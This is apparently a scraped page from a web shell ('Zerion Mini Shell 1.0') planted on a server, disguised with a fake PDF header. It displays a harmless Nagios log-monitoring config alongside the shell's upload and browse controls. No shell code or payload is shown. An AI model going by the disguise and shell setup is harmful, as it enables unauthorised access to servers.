%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib64/nagios/plugins/nccustom/
Upload File :
Create Path :
Current File : //lib64/nagios/plugins/nccustom/check_logfiles.conf

# where the state information will be saved.
$seekfilesdir = '/var/tmp/check_logfiles';
 
# where protocols with found patterns will be stored.
$protocolsdir = '/tmp';
 
# where scripts will be searched for.
$scriptpath = '/var/tmp';
 
@searches = (
  {
    tag => 'system',
    logfile => '/var/log/messages',
    rotation => 'centos',
#    criticalpatterns => ['OOM killed process', 'table full, dropping packet'],
    criticalpatterns => ['invoked oom-killer', 'Out of memory: Kill process', 'main process exited, code=killed'],
    warningpatterns => ['temperature above threshold'],
  }
);

Zerion Mini Shell 1.0